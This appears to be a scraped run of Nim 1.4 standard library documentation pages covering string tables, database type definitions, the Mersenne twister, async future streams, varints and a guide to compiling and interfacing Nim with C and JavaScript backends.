[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L65) ``` StringTableObj = object of RootObj counter: int data: KeyValuePairSeq mode: StringTableMode ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L71) ``` StringTableRef = ref StringTableObj ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L76) ``` FormatFlag = enum useEnvironment, ## Use environment variable if the ``$key`` ## is not found in the table. ## Does nothing when using `js` target. useEmpty, ## Use the empty string as a default, thus it ## won't throw an exception if ``$key`` is not ## in the table. useKey ## Do not replace ``$key`` if it is not found ## in the table (or in the environment). ``` Flags for the `%` operator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L78) Procs ----- ``` proc mode(t: StringTableRef): StringTableMode {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L92) ``` proc len(t: StringTableRef): int {...}{.gcsafe, extern: "nst$1", raises: [], tags: [].} ``` Returns the number of keys in `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L147) ``` proc `[]`(t: StringTableRef; key: string): var string {...}{.gcsafe, extern: "nstTake", raises: [KeyError], tags: [].} ``` Retrieves the location at `t[key]`. If `key` is not in `t`, the `KeyError` exception is raised. One can check with [hasKey proc](#hasKey,StringTableRef,string) whether the key exists. See also: * [getOrDefault proc](#getOrDefault,StringTableRef,string,string) * [[]= proc](#%5B%5D=,StringTableRef,string,string) for inserting a new (key, value) pair in the table * [hasKey proc](#hasKey,StringTableRef,string) for checking if a key is in the table **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert t["name"] == "John" doAssertRaises(KeyError): echo t["occupation"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L151) ``` proc getOrDefault(t: StringTableRef; key: string; default: string = ""): string {...}{. raises: [], tags: [].} ``` Retrieves the location at `t[key]`. If `key` is not in `t`, the default value is returned (if not specified, it is an empty string (`""`)). See also: * [[] proc](#%5B%5D,StringTableRef,string) for retrieving a value of a key * [hasKey proc](#hasKey,StringTableRef,string) for checking if a key is in the table * [[]= proc](#%5B%5D=,StringTableRef,string,string) for inserting a new (key, value) pair in the table **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert t.getOrDefault("name") == "John" doAssert t.getOrDefault("occupation") == "" doAssert t.getOrDefault("occupation", "teacher") == "teacher" doAssert t.getOrDefault("name", "Paul") == "John" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L172) ``` proc hasKey(t: StringTableRef; key: string): bool {...}{.gcsafe, extern: "nst$1", raises: [], tags: [].} ``` Returns true if `key` is in the table `t`. See also: * [getOrDefault proc](#getOrDefault,StringTableRef,string,string) * [contains proc](#contains,StringTableRef,string) **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert t.hasKey("name") doAssert not t.hasKey("occupation") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L196) ``` proc contains(t: StringTableRef; key: string): bool {...}{.raises: [], tags: [].} ``` Alias of [hasKey proc](#hasKey,StringTableRef,string) for use with the `in` operator. **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert "name" in t doAssert "occupation" notin t ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L209) ``` proc `[]=`(t: StringTableRef; key, val: string) {...}{.gcsafe, extern: "nstPut", raises: [], tags: [].} ``` Inserts a `(key, value)` pair into `t`. See also: * [[] proc](#%5B%5D,StringTableRef,string) for retrieving a value of a key * [del proc](#del,StringTableRef,string) for removing a key from the table **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable t["occupation"] = "teacher" doAssert t.hasKey("occupation") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L233) ``` proc newStringTable(mode: StringTableMode): owned(StringTableRef) {...}{.gcsafe, extern: "nst$1", noSideEffect, raises: [], tags: [].} ``` Creates a new empty string table. See also: * [newStringTable(keyValuePairs) proc](#newStringTable,varargs%5Btuple%5Bstring,string%5D%5D,StringTableMode) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L253) ``` proc newStringTable(keyValuePairs: varargs[string]; mode: StringTableMode): owned( StringTableRef) {...}{.gcsafe, extern: "nst$1WithPairs", noSideEffect, raises: [], tags: [].} ``` Creates a new string table with given `key, value` string pairs. `StringTableMode` must be specified. **Example:** ``` var mytab = newStringTable("key1", "val1", "key2", "val2", modeCaseInsensitive) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L265) ``` proc newStringTable(keyValuePairs: varargs[tuple[key, val: string]]; mode: StringTableMode = modeCaseSensitive): owned( StringTableRef) {...}{.gcsafe, extern: "nst$1WithTableConstr", noSideEffect, raises: [], tags: [].} ``` Creates a new string table with given `(key, value)` tuple pairs. The default mode is case sensitive. **Example:** ``` var mytab1 = newStringTable({"key1": "val1", "key2": "val2"}, modeCaseInsensitive) mytab2 = newStringTable([("key3", "val3"), ("key4", "val4")]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L282) ``` proc clear(s: StringTableRef; mode: StringTableMode) {...}{.gcsafe, extern: "nst$1", raises: [], tags: [].} ``` Resets a string table to be empty again, perhaps altering the mode. See also: * [del proc](#del,StringTableRef,string) for removing a key from the table **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable clear(t, modeCaseSensitive) doAssert len(t) == 0 doAssert "name" notin t doAssert "city" notin t ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L313) ``` proc clear(s: StringTableRef) {...}{.raises: [], tags: [].} ``` Resets a string table to be empty again without changing the mode. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L331) ``` proc del(t: StringTableRef; key: string) {...}{.raises: [], tags: [].} ``` Removes `key` from `t`. See also: * [clear proc](#clear,StringTableRef,StringTableMode) for resetting a table to be empty * [[]= proc](#%5B%5D=,StringTableRef,string,string) for inserting a new (key, value) pair in the table **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable t.del("name") doAssert len(t) == 1 doAssert "name" notin t doAssert "city" in t ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L335) ``` proc `$`(t: StringTableRef): string {...}{.gcsafe, extern: "nstDollar", raises: [], tags: [].} ``` The `$` operator for string tables. Used internally when calling `echo` on a table. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L376) ``` proc `%`(f: string; t: StringTableRef; flags: set[FormatFlag] = {}): string {...}{. gcsafe, extern: "nstFormat", raises: [ValueError], tags: [ReadEnvEffect].} ``` The `%` operator for string tables. **Example:** ``` var t = {"name": "John", "city": "Monaco"}.newStringTable doAssert "${name} lives in ${city}" % t == "John lives in Monaco" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L390) Iterators --------- ``` iterator pairs(t: StringTableRef): tuple[key, value: string] {...}{.raises: [], tags: [].} ``` Iterates over every `(key, value)` pair in the table `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L94) ``` iterator keys(t: StringTableRef): string {...}{.raises: [], tags: [].} ``` Iterates over every key in the table `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L100) ``` iterator values(t: StringTableRef): string {...}{.raises: [], tags: [].} ``` Iterates over every value in the table `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/strtabs.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/strtabs.nim#L106) nim db_common db\_common ========== Common datatypes and definitions for all `db_*.nim` ( <db_mysql>, <db_postgres>, and <db_sqlite>) modules. Types ----- ``` DbError = object of IOError ``` exception that is raised if a database error occurs [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L15) ``` SqlQuery = distinct string ``` an SQL query string [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L17) ``` DbEffect = object of IOEffect ``` effect that denotes a database operation [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L20) ``` ReadDbEffect = object of DbEffect ``` effect that denotes a read operation [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L21) ``` WriteDbEffect = object of DbEffect ``` effect that denotes a write operation [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L22) ``` DbTypeKind = enum dbUnknown, ## unknown datatype dbSerial, ## datatype used for primary auto-increment keys dbNull, ## datatype used for the NULL value dbBit, ## bit datatype dbBool, ## boolean datatype dbBlob, ## blob datatype dbFixedChar, ## string of fixed length dbVarchar, ## string datatype dbJson, ## JSON datatype dbXml, ## XML datatype dbInt, ## some integer type dbUInt, ## some unsigned integer type dbDecimal, ## decimal numbers (fixed-point number) dbFloat, ## some floating point type dbDate, ## a year-month-day description dbTime, ## HH:MM:SS information dbDatetime, ## year-month-day and HH:MM:SS information, ## plus optional time or timezone information dbTimestamp, ## Timestamp values are stored as the number of seconds ## since the epoch ('1970-01-01 00:00:00' UTC). dbTimeInterval, ## an interval [a,b] of times dbEnum, ## some enum dbSet, ## set of enum values dbArray, ## an array of values dbComposite, ## composite type (record, struct, etc) dbUrl, ## a URL dbUuid, ## a UUID dbInet, ## an IP address dbMacAddress, ## a MAC address dbGeometry, ## some geometric type dbPoint, ## Point on a plane (x,y) dbLine, ## Infinite line ((x1,y1),(x2,y2)) dbLseg, ## Finite line segment ((x1,y1),(x2,y2)) dbBox, ## Rectangular box ((x1,y1),(x2,y2)) dbPath, ## Closed or open path (similar to polygon) ((x1,y1),...) dbPolygon, ## Polygon (similar to closed path) ((x1,y1),...) dbCircle, ## Circle <(x,y),r> (center point and radius) dbUser1, ## user definable datatype 1 (for unknown extensions) dbUser2, ## user definable datatype 2 (for unknown extensions) dbUser3, ## user definable datatype 3 (for unknown extensions) dbUser4, ## user definable datatype 4 (for unknown extensions) dbUser5 ## user definable datatype 5 (for unknown extensions) ``` a superset of datatypes that might be supported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L24) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L24) ``` DbType = object kind*: DbTypeKind ## the kind of the described type notNull*: bool ## does the type contain NULL? name*: string ## the name of the type size*: Natural ## the size of the datatype; 0 if of variable size maxReprLen*: Natural ## maximal length required for the representation precision*, scale*: Natural ## precision and scale of the number min*, max*: BiggestInt ## the minimum and maximum of allowed values validValues*: seq[string] ## valid values of an enum or a set ``` describes a database type [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L68) ``` DbColumn = object name*: string ## name of the column tableName*: string ## name of the table the column belongs to (optional) typ*: DbType ## type of the column primaryKey*: bool ## is this a primary key? foreignKey*: bool ## is this a foreign key? ``` information about a database column [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L78) ``` DbColumns = seq[DbColumn] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L84) Procs ----- ``` proc dbError(msg: string) {...}{.noreturn, noinline, raises: [DbError], tags: [].} ``` raises an DbError exception with message `msg`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L95) Templates --------- ``` template sql(query: string): SqlQuery ``` constructs a SqlQuery from the string `query`. This is supposed to be used as a raw-string-literal modifier: `sql"update user set counter = counter + 1"` If assertions are turned off, it does nothing. If assertions are turned on, later versions will check the string for valid syntax. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/db_common.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/db_common.nim#L86) nim mersenne mersenne ======== **Example:** ``` static: block: var rando: MersenneTwister = newMersenneTwister(uint32.high) ## Must be "var". doAssert rando.getNum() != rando.getNum() ## Pseudo random number. Works at compile-time. ``` Types ----- ``` MersenneTwister = object mt: array[0 .. 623, uint32] index: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mersenne.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mersenne.nim#L11) Procs ----- ``` proc newMersenneTwister(seed: uint32): MersenneTwister {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mersenne.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mersenne.nim#L15) ``` proc getNum(m: var MersenneTwister): uint32 {...}{.raises: [], tags: [].} ``` Returns the next pseudo random number ranging from 0 to high(uint32) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/mersenne.nim#L30) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/mersenne.nim#L30)
programming_docs
nim asyncstreams asyncstreams ============ Unstable API. Imports ------- <asyncfutures>, <deques> Types ----- ``` FutureStream[T] = ref object queue: Deque[T] finished: bool cb: proc () {...}{.closure, gcsafe.} error*: ref Exception ``` Special future that acts as a queue. Its API is still experimental and so is subject to change. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L17) Procs ----- ``` proc newFutureStream[T](fromProc = "unspecified"): FutureStream[T] ``` Create a new `FutureStream`. This future's callback is activated when two events occur:* New data is written into the future stream. * The future stream is completed (this means that no more data will be written). Specifying `fromProc`, which is a string specifying the name of the proc that this future belongs to, is a good habit as it helps with debugging. **Note:** The API of FutureStream is still new and so has a higher likelihood of changing in the future. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L26) ``` proc complete[T](future: FutureStream[T]) ``` Completes a `FutureStream` signalling the end of data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L42) ``` proc fail[T](future: FutureStream[T]; error: ref Exception) ``` Completes `future` with `error`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L49) ``` proc callback=[T](future: FutureStream[T]; cb: proc (future: FutureStream[T]) {...}{.closure, gcsafe.}) ``` Sets the callback proc to be called when data was placed inside the future stream. The callback is also called when the future is completed. So you should use `finished` to check whether data is available. If the future stream already has data or is finished then `cb` will be called immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L57) ``` proc finished[T](future: FutureStream[T]): bool ``` Check if a `FutureStream` is finished. `true` value means that no more data will be placed inside the stream *and* that there is no data waiting to be retrieved. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L72) ``` proc failed[T](future: FutureStream[T]): bool ``` Determines whether `future` completed with an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L78) ``` proc write[T](future: FutureStream[T]; value: T): Future[void] ``` Writes the specified value inside the specified future stream. This will raise `ValueError` if `future` is finished. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L82) ``` proc read[T](future: FutureStream[T]): owned(Future[(bool, T)]) ``` Returns a future that will complete when the `FutureStream` has data placed into it. The future will be completed with the oldest value stored inside the stream. The return value will also determine whether data was retrieved, `false` means that the future stream was completed and no data was retrieved. This function will remove the data that was returned from the underlying `FutureStream`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L97) ``` proc len[T](future: FutureStream[T]): int ``` Returns the amount of data pieces inside the stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncstreams.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncstreams.nim#L142) nim Nim Backend Integration Nim Backend Integration ======================= > "Heresy grows from idleness." -- Unknown. > > Introduction ------------ The [Nim Compiler User Guide](nimc) documents the typical compiler invocation, using the `compile` or `c` command to transform a `.nim` file into one or more `.c` files which are then compiled with the platform's C compiler into a static binary. However, there are other commands to compile to C++, Objective-C, or JavaScript. This document tries to concentrate in a single place all the backend and interfacing options. The Nim compiler supports mainly two backend families: the C, C++ and Objective-C targets and the JavaScript target. [The C like targets](#backends-the-c-like-targets) creates source files that can be compiled into a library or a final executable. [The JavaScript target](#backends-the-javascript-target) can generate a `.js` file which you reference from an HTML file or create a [standalone Node.js program](http://nodejs.org). On top of generating libraries or standalone applications, Nim offers bidirectional interfacing with the backend targets through generic and specific pragmas. Backends -------- ### The C like targets The commands to compile to either C, C++ or Objective-C are: | | | | --- | --- | | compileToC, cc | compile project with C code generator | | compileToCpp, cpp | compile project to C++ code | | compileToOC, objc | compile project to Objective C code | The most significant difference between these commands is that if you look into the `nimcache` directory you will find `.c`, `.cpp` or `.m` files, other than that all of them will produce a native binary for your project. This allows you to take the generated code and place it directly into a project using any of these languages. Here are some typical command- line invocations: ``` $ nim c hallo.nim $ nim cpp hallo.nim $ nim objc hallo.nim ``` The compiler commands select the target backend, but if needed you can [specify additional switches for cross-compilation](nimc#crossminuscompilation) to select the target CPU, operative system or compiler/linker commands. ### The JavaScript target Nim can also generate JavaScript code through the `js` command. Nim targets JavaScript 1.5 which is supported by any widely used browser. Since JavaScript does not have a portable means to include another module, Nim just generates a long `.js` file. Features or modules that the JavaScript platform does not support are not available. This includes: * manual memory management (`alloc`, etc.) * casting and other unsafe operations (`cast` operator, `zeroMem`, etc.) * file management * OS-specific operations * threading, coroutines * some modules of the standard library * proper 64-bit integer arithmetic To compensate, the standard library has modules [catered to the JS backend](lib#pure-libraries-modules-for-js-backend) and more support will come in the future (for instance, Node.js bindings to get OS info). To compile a Nim module into a `.js` file use the `js` command; the default is a `.js` file that is supposed to be referenced in an `.html` file. However, you can also run the code with nodejs (<http://nodejs.org>): ``` nim js -d:nodejs -r examples/hallo.nim ``` Interfacing ----------- Nim offers bidirectional interfacing with the target backend. This means that you can call backend code from Nim and Nim code can be called by the backend code. Usually the direction of which calls which depends on your software architecture (is Nim your main program or is Nim providing a component?). ### Nim code calling the backend Nim code can interface with the backend through the [Foreign function interface](manual#foreign-function-interface) mainly through the [importc pragma](manual#foreign-function-interface-importc-pragma). The `importc` pragma is the *generic* way of making backend symbols available in Nim and is available in all the target backends (JavaScript too). The C++ or Objective-C backends have their respective [ImportCpp](manual#implementation-specific-pragmas-importcpp-pragma) and [ImportObjC](manual#implementation-specific-pragmas-importobjc-pragma) pragmas to call methods from classes. Whenever you use any of these pragmas you need to integrate native code into your final binary. In the case of JavaScript this is no problem at all, the same HTML file which hosts the generated JavaScript will likely provide other JavaScript functions which you are importing with `importc`. However, for the C like targets you need to link external code either statically or dynamically. The preferred way of integrating native code is to use dynamic linking because it allows you to compile Nim programs without the need for having the related development libraries installed. This is done through the [dynlib pragma for import](manual#foreign-function-interface-dynlib-pragma-for-import), though more specific control can be gained using the [dynlib module](dynlib). The [dynlibOverride](nimc#dynliboverride) command line switch allows to avoid dynamic linking if you need to statically link something instead. Nim wrappers designed to statically link source files can use the [compile pragma](manual#implementation-specific-pragmas-compile-pragma) if there are few sources or providing them along the Nim code is easier than using a system library. Libraries installed on the host system can be linked in with the [PassL pragma](manual#implementation-specific-pragmas-passl-pragma). To wrap native code, take a look at the [c2nim tool](https://github.com/nim-lang/c2nim/blob/master/doc/c2nim.rst) which helps with the process of scanning and transforming header files into a Nim interface. #### C invocation example Create a `logic.c` file with the following content: ``` int addTwoIntegers(int a, int b) { return a + b; } ``` Create a `calculator.nim` file with the following content: ``` {.compile: "logic.c".} proc addTwoIntegers(a, b: cint): cint {.importc.} when isMainModule: echo addTwoIntegers(3, 7) ``` With these two files in place, you can run `nim c -r calculator.nim` and the Nim compiler will compile the `logic.c` file in addition to `calculator.nim` and link both into an executable, which outputs `10` when run. Another way to link the C file statically and get the same effect would be to remove the line with the `compile` pragma and run the following typical Unix commands: ``` $ gcc -c logic.c $ ar rvs mylib.a logic.o $ nim c --passL:mylib.a -r calculator.nim ``` Just like in this example we pass the path to the `mylib.a` library (and we could as well pass `logic.o`) we could be passing switches to link any other static C library. #### JavaScript invocation example Create a `host.html` file with the following content: ``` <html><body> <script type="text/javascript"> function addTwoIntegers(a, b) { return a + b; } </script> <script type="text/javascript" src="calculator.js"></script> </body></html> ``` Create a `calculator.nim` file with the following content (or reuse the one from the previous section): ``` proc addTwoIntegers(a, b: int): int {.importc.} when isMainModule: echo addTwoIntegers(3, 7) ``` Compile the Nim code to JavaScript with `nim js -o:calculator.js calculator.nim` and open `host.html` in a browser. If the browser supports javascript, you should see the value `10` in the browser's console. Use the [dom module](dom) for specific DOM querying and modification procs or take a look at [karax](https://github.com/pragmagic/karax) for how to develop browser-based applications. ### Backend code calling Nim Backend code can interface with Nim code exposed through the [exportc pragma](manual#foreign-function-interface-exportc-pragma). The `exportc` pragma is the *generic* way of making Nim symbols available to the backends. By default, the Nim compiler will mangle all the Nim symbols to avoid any name collision, so the most significant thing the `exportc` pragma does is maintain the Nim symbol name, or if specified, use an alternative symbol for the backend in case the symbol rules don't match. The JavaScript target doesn't have any further interfacing considerations since it also has garbage collection, but the C targets require you to initialize Nim's internals, which is done calling a `NimMain` function. Also, C code requires you to specify a forward declaration for functions or the compiler will assume certain types for the return value and parameters which will likely make your program crash at runtime. The Nim compiler can generate a C interface header through the `--header` command-line switch. The generated header will contain all the exported symbols and the `NimMain` proc which you need to call before any other Nim code. #### Nim invocation example from C Create a `fib.nim` file with the following content: ``` proc fib(a: cint): cint {.exportc.} = if a <= 2: result = 1 else: result = fib(a - 1) + fib(a - 2) ``` Create a `maths.c` file with the following content: ``` #include "fib.h" #include <stdio.h> int main(void) { NimMain(); for (int f = 0; f < 10; f++) printf("Fib of %d is %d\n", f, fib(f)); return 0; } ``` Now you can run the following Unix like commands to first generate C sources from the Nim code, then link them into a static binary along your main C program: ``` $ nim c --noMain --noLinking --header:fib.h fib.nim $ gcc -o m -I$HOME/.cache/nim/fib_d -Ipath/to/nim/lib $HOME/.cache/nim/fib_d/*.c maths.c ``` The first command runs the Nim compiler with three special options to avoid generating a `main()` function in the generated files, avoid linking the object files into a final binary, and explicitly generate a header file for C integration. All the generated files are placed into the `nimcache` directory. That's why the next command compiles the `maths.c` source plus all the `.c` files from `nimcache`. In addition to this path, you also have to tell the C compiler where to find Nim's `nimbase.h` header file. Instead of depending on the generation of the individual `.c` files you can also ask the Nim compiler to generate a statically linked library: ``` $ nim c --app:staticLib --noMain --header fib.nim $ gcc -o m -Inimcache -Ipath/to/nim/lib libfib.nim.a maths.c ``` The Nim compiler will handle linking the source files generated in the `nimcache` directory into the `libfib.nim.a` static library, which you can then link into your C program. Note that these commands are generic and will vary for each system. For instance, on Linux systems you will likely need to use `-ldl` too to link in required dlopen functionality. #### Nim invocation example from JavaScript Create a `mhost.html` file with the following content: ``` <html><body> <script type="text/javascript" src="fib.js"></script> <script type="text/javascript"> alert("Fib for 9 is " + fib(9)); </script> </body></html> ``` Create a `fib.nim` file with the following content (or reuse the one from the previous section): ``` proc fib(a: cint): cint {.exportc.} = if a <= 2: result = 1 else: result = fib(a - 1) + fib(a - 2) ``` Compile the Nim code to JavaScript with `nim js -o:fib.js fib.nim` and open `mhost.html` in a browser. If the browser supports javascript, you should see an alert box displaying the text `Fib for 9 is 34`. As mentioned earlier, JavaScript doesn't require an initialization call to `NimMain` or a similar function and you can call the exported Nim proc directly. ### Nimcache naming logic The nimcache directory is generated during compilation and will hold either temporary or final files depending on your backend target. The default name for the directory depends on the used backend and on your OS but you can use the `--nimcache` [compiler switch](nimc#compiler-usage-commandminusline-switches) to change it. Memory management ----------------- In the previous sections, the `NimMain()` function reared its head. Since JavaScript already provides automatic memory management, you can freely pass objects between the two languages without problems. In C and derivate languages you need to be careful about what you do and how you share memory. The previous examples only dealt with simple scalar values, but passing a Nim string to C, or reading back a C string in Nim already requires you to be aware of who controls what to avoid crashing. ### Strings and C strings The manual mentions that [Nim strings are implicitly convertible to cstrings](manual#types-cstring-type) which makes interaction usually painless. Most C functions accepting a Nim string converted to a `cstring` will likely not need to keep this string around and by the time they return the string won't be needed anymore. However, for the rare cases where a Nim string has to be preserved and made available to the C backend as a `cstring`, you will need to manually prevent the string data from being freed with [GC\_ref](system#GC_ref,string) and [GC\_unref](system#GC_unref,string). A similar thing happens with C code invoking Nim code which returns a `cstring`. Consider the following proc: ``` proc gimme(): cstring {.exportc.} = result = "Hey there C code! " & $rand(100) ``` Since Nim's garbage collector is not aware of the C code, once the `gimme` proc has finished it can reclaim the memory of the `cstring`. However, from a practical standpoint, the C code invoking the `gimme` function directly will be able to use it since Nim's garbage collector has not had a chance to run *yet*. This gives you enough time to make a copy for the C side of the program, as calling any further Nim procs *might* trigger garbage collection making the previously returned string garbage. Or maybe you are [yourself triggering the collection](gc). ### Custom data types Just like strings, custom data types that are to be shared between Nim and the backend will need careful consideration of who controls who. If you want to hand a Nim reference to C code, you will need to use [GC\_ref](system#GC_ref,ref.T) to mark the reference as used, so it does not get freed. And for the C backend you will need to expose the [GC\_unref](system#GC_unref,ref.T) proc to clean up this memory when it is not required anymore. Again, if you are wrapping a library which *mallocs* and *frees* data structures, you need to expose the appropriate *free* function to Nim so you can clean it up. And of course, once cleaned you should avoid accessing it from Nim (or C for that matter). Typically C data structures have their own `malloc_structure` and `free_structure` specific functions, so wrapping these for the Nim side should be enough. ### Thread coordination When the `NimMain()` function is called Nim initializes the garbage collector to the current thread, which is usually the main thread of your application. If your C code later spawns a different thread and calls Nim code, the garbage collector will fail to work properly and you will crash. As long as you don't use the threadvar emulation Nim uses native thread variables, of which you get a fresh version whenever you create a thread. You can then attach a GC to this thread via ``` system.setupForeignThreadGc() ``` It is **not** safe to disable the garbage collector and enable it after the call from your background thread even if the code you are calling is short lived. Before the thread exits, you should tear down the thread's GC to prevent memory leaks by calling ``` system.tearDownForeignThreadGc() ``` nim varints varints ======= A variable length integer encoding implementation inspired by SQLite. Unstable API. Consts ------ ``` maxVarIntLen = 9 ``` the maximal number of bytes a varint can take 